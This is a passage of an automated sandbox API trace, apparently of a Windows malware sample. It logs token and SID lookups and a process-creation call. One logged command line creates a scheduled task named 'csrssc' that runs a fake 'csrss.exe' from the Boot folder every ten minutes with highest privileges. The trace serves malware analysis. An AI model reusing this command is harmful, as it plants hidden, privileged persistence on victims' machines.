returned 0xef040 [0068.668] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0068.668] SysStringLen (param_1="1000") returned 0x4 [0068.668] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0068.668] memcpy (in: _Dst=0x3276bc, _Src=0x381118, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0068.668] free (_Block=0xeef00) [0068.668] free (_Block=0xef020) [0068.668] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0068.668] malloc (_Size=0x5e) returned 0xf0800 [0068.668] free (_Block=0xef040) [0068.668] malloc (_Size=0x18) returned 0xef040 [0068.669] free (_Block=0xf0800) [0068.669] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0068.670] GetLastError () returned 0x7a [0068.670] malloc (_Size=0x14) returned 0xef020 [0068.670] malloc (_Size=0x16) returned 0xeef00 [0068.670] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0068.671] malloc (_Size=0x18) returned 0xef0a0 [0068.671] malloc (_Size=0x18) returned 0xeef20 [0068.671] free (_Block=0xef020) [0068.671] free (_Block=0xeef00) [0068.671] free (_Block=0xeff00) [0068.671] free (_Block=0xeef20) [0068.671] free (_Block=0xef0a0) [0068.671] free (_Block=0xef040) [0068.672] free (_Block=0xee240) [0068.672] malloc (_Size=0x48) returned 0xed2c0 [0068.672] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0068.678] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0068.678] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0068.678] malloc (_Size=0x18) returned 0xef040 [0068.678] CreateEnvironmentBlock () returned 0x1 [0068.720] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0068.720] malloc (_Size=0x18) returned 0xef0a0 [0068.720] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xf90, dwThreadId=0xf94)) returned 1 [0068.726] CloseHandle (hObject=0x2f8) returned 1 [0068.726] CloseHandle (hObject=0x2fc) returned 1 [0068.727] free (_Block=0xef0a0) [0068.727] DestroyEnvironmentBlock () returned 0x1 [0068.727] malloc (_Size=0x48) returned 0xed270 [0068.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x520c6820, dwHighDateTime=0x1d9eb0c)) [0068.727] SetEvent (hEvent=0x1f0) returned 1 [0068.727] CloseHandle (hObject=0x234) returned 1 [0068.727] CloseHandle (hObject=0x248) returned 1 [0069.148] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0069.148] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0069.148] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0069.651] SetLastError (dwErrCode=0x0) [0069.651] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0069.651] SetLastError (dwErrCode=0x0) [0069.651] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0069.651] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0069.651] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0069.651] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0069.651] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0069.653] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0069.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0069.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0069.654] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0069.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0069.654] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0069.654] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0069.656] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0069.656] GetCurrentThread () returned 0xfffffffffffffffe [0069.656] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x248) returned 1 [0069.656] malloc (_Size=0xd8) returned 0xf4740 [0069.656] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0069.657] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0069.657] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0069.657] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0069.657] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0069.657] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0069.657] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0069.657] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0069.658] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0069.658] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0069.658] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0069.658] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0069.658] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0069.658] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0069.658] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0069.659] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0069.659] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0069.659] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0069.659] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0069.659] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0069.659] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0069.659] malloc (_Size=0x18) returned 0xeef60 [0069.659] DuplicateTokenEx (in: hExistingToken=0x248, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0069.659] malloc (_Size=0x48) returned 0xed400 [0069.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x527c48c0, dwHighDateTime=0x1d9eb0c)) [0069.660] SetEvent (hEvent=0x1f0) returned 1 [0069.665] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0069.665] GetLastError () returned 0x7a [0069.665] malloc (_Size=0x2c) returned 0xee200 [0069.665] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0069.665] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0069.665] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0069.665] malloc (_Size=0x1c) returned 0xeff60 [0069.665] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0069.665] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0069.665] malloc (_Size=0x18) returned 0xeef60 [0069.665] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0069.665] malloc (_Size=0x18) returned 0xef040 [0069.665] malloc (_Size=0x18) returned 0xef0a0 [0069.665] SysStringLen (param_1="S-1-") returned 0x4 [0069.665] SysStringLen (param_1="5") returned 0x1 [0069.665] memcpy (in: _Dst=0x381268, _Src=0x381148, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0069.665] memcpy (in: _Dst=0x381270, _Src=0x381238, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0069.665] free (_Block=0xeef60) [0069.665] free (_Block=0xef040) [0069.666] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0069.666] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0069.666] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0069.666] malloc (_Size=0x18) returned 0xef040 [0069.666] malloc (_Size=0x18) returned 0xeef60 [0069.666] SysStringLen (param_1="S-1-5") returned 0x5 [0069.666] SysStringLen (param_1="-") returned 0x1 [0069.666] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0069.666] memcpy (in: _Dst=0x381242, _Src=0x381148, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0069.666] free (_Block=0xef0a0) [0069.666] free (_Block=0xef040) [0069.666] malloc (_Size=0x18) returned 0xef040 [0069.666] malloc (_Size=0x18) returned 0xef0a0 [0069.666] SysStringLen (param_1="S-1-5-") returned 0x6 [0069.666] SysStringLen (param_1="21") returned 0x2 [0069.666] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0xe | out: _Dst=0x381148) returned 0x381148 [0069.666] memcpy (in: _Dst=0x381154, _Src=0x381268, _Size=0x6 | out: _Dst=0x381154) returned 0x381154 [0069.666] free (_Block=0xeef60) [0069.666] free (_Block=0xef040) [0069.666] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0069.666] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0069.666] malloc (_Size=0x18) returned 0xef040 [0069.666] malloc (_Size=0x18) returned 0xeef60 [0069.667] SysStringLen (param_1="S-1-5-21") returned 0x8 [0069.667] SysStringLen (param_1="-") returned 0x1 [0069.667] memcpy (in: _Dst=0x381268, _Src=0x381148, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0069.667] memcpy (in: _Dst=0x381278, _Src=0x381238, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0069.667] free (_Block=0xef0a0) [0069.667] free (_Block=0xef040) [0069.667] malloc (_Size=0x18) returned 0xef040 [0069.667] malloc (_Size=0x18) returned 0xef0a0 [0069.667] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0069.667] SysStringLen (param_1="4219442223") returned 0xa [0069.667] memcpy (in: _Dst=0x337a58, _Src=0x381268, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0069.667] memcpy (in: _Dst=0x337a6a, _Src=0x381148, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0069.667] free (_Block=0xeef60) [0069.667] free (_Block=0xef040) [0069.667] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0069.667] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0069.667] malloc (_Size=0x18) returned 0xef040 [0069.667] malloc (_Size=0x18) returned 0xeef60 [0069.667] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0069.667] SysStringLen (param_1="-") returned 0x1 [0069.667] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0069.667] memcpy (in: _Dst=0x33838e, _Src=0x381268, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0069.667] free (_Block=0xef0a0) [0069.667] free (_Block=0xef040) [0069.667] malloc (_Size=0x18) returned 0xef040 [0069.668] malloc (_Size=0x18) returned 0xef0a0 [0069.668] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0069.668] SysStringLen (param_1="4223814209") returned 0xa [0069.668] memcpy (in: _Dst=0x34da68, _Src=0x338368, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0069.668] memcpy (in: _Dst=0x34da90, _Src=0x381268, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0069.668] free (_Block=0xeef60) [0069.668] free (_Block=0xef040) [0069.668] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0069.668] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0069.668] malloc (_Size=0x18) returned 0xef040 [0069.668] malloc (_Size=0x18) returned 0xeef60 [0069.668] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0069.668] SysStringLen (param_1="-") returned 0x1 [0069.668] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0069.668] memcpy (in: _Dst=0x34dbb4, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0069.668] free (_Block=0xef0a0) [0069.668] free (_Block=0xef040) [0069.668] malloc (_Size=0x18) returned 0xef040 [0069.668] malloc (_Size=0x18) returned 0xef0a0 [0069.668] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0069.668] SysStringLen (param_1="3835049652") returned 0xa [0069.668] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0069.668] memcpy (in: _Dst=0x34daa6, _Src=0x381268, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0069.668] free (_Block=0xeef60) [0069.668] free (_Block=0xef040) [0069.669] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0069.669] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0069.669] malloc (_Size=0x18) returned 0xef040 [0069.669] malloc (_Size=0x18) returned 0xeef60 [0069.669] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0069.669] SysStringLen (param_1="-") returned 0x1 [0069.669] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0069.669] memcpy (in: _Dst=0x34dbca, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0069.669] free (_Block=0xef0a0) [0069.669] free (_Block=0xef040) [0069.669] malloc (_Size=0x18) returned 0xef040 [0069.669] malloc (_Size=0x18) returned 0xef0a0 [0069.669] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0069.669] SysStringLen (param_1="1000") returned 0x4 [0069.669] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0069.669] memcpy (in: _Dst=0x34dabc, _Src=0x381268, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0069.669] free (_Block=0xeef60) [0069.669] free (_Block=0xef040) [0069.669] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0069.669] malloc (_Size=0x5e) returned 0xf0800 [0069.669] free (_Block=0xef0a0) [0069.669] malloc (_Size=0x18) returned 0xef0a0 [0069.670] free (_Block=0xf0800) [0069.670] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0069.671] GetLastError () returned 0x7a [0069.671] malloc (_Size=0x14) returned 0xef040 [0069.671] malloc (_Size=0x16) returned 0xeef60 [0069.671] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0069.672] malloc (_Size=0x18) returned 0xeef20 [0069.672] malloc (_Size=0x18) returned 0xeef00 [0069.672] free (_Block=0xef040) [0069.672] free (_Block=0xeef60) [0069.672] free (_Block=0xeff60) [0069.672] free (_Block=0xeef00) [0069.672] free (_Block=0xeef20) [0069.672] free (_Block=0xef0a0) [0069.673] free (_Block=0xee200) [0069.673] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0069.673] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0069.673] GetLastError () returned 0x7a [0069.673] malloc (_Size=0x2c) returned 0xee240 [0069.673] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0069.673] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0069.673] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0069.673] malloc (_Size=0x1c) returned 0xeff60 [0069.673] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0069.673] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0069.673] malloc (_Size=0x18) returned 0xef0a0 [0069.674] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0069.674] malloc (_Size=0x18) returned 0xeef20 [0069.674] malloc (_Size=0x18) returned 0xeef00 [0069.674] SysStringLen (param_1="S-1-") returned 0x4 [0069.674] SysStringLen (param_1="5") returned 0x1 [0069.674] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0xa | out: _Dst=0x381148) returned 0x381148 [0069.674] memcpy (in: _Dst=0x381150, _Src=0x381268, _Size=0x4 | out: _Dst=0x381150) returned 0x381150 [0069.674] free (_Block=0xef0a0) [0069.674] free (_Block=0xeef20) [0069.674] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0069.674] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0069.674] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0069.674] malloc (_Size=0x18) returned 0xeef20 [0069.674] malloc (_Size=0x18) returned 0xef0a0 [0069.674] SysStringLen (param_1="S-1-5") returned 0x5 [0069.674] SysStringLen (param_1="-") returned 0x1 [0069.674] memcpy (in: _Dst=0x381268, _Src=0x381148, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0069.674] memcpy (in: _Dst=0x381272, _Src=0x381238, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0069.674] free (_Block=0xeef00) [0069.674] free (_Block=0xeef20) [0069.674] malloc (_Size=0x18) returned 0xeef20 [0069.674] malloc (_Size=0x18) returned 0xeef00 [0069.674] SysStringLen (param_1="S-1-5-") returned 0x6 [0069.674] SysStringLen (param_1="21") returned 0x2 [0069.675] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0069.675] memcpy (in: _Dst=0x381244, _Src=0x381148, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0069.675] free (_Block=0xef0a0) [0069.675] free (_Block=0xeef20) [0069.675] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0069.675] _ultow (in: 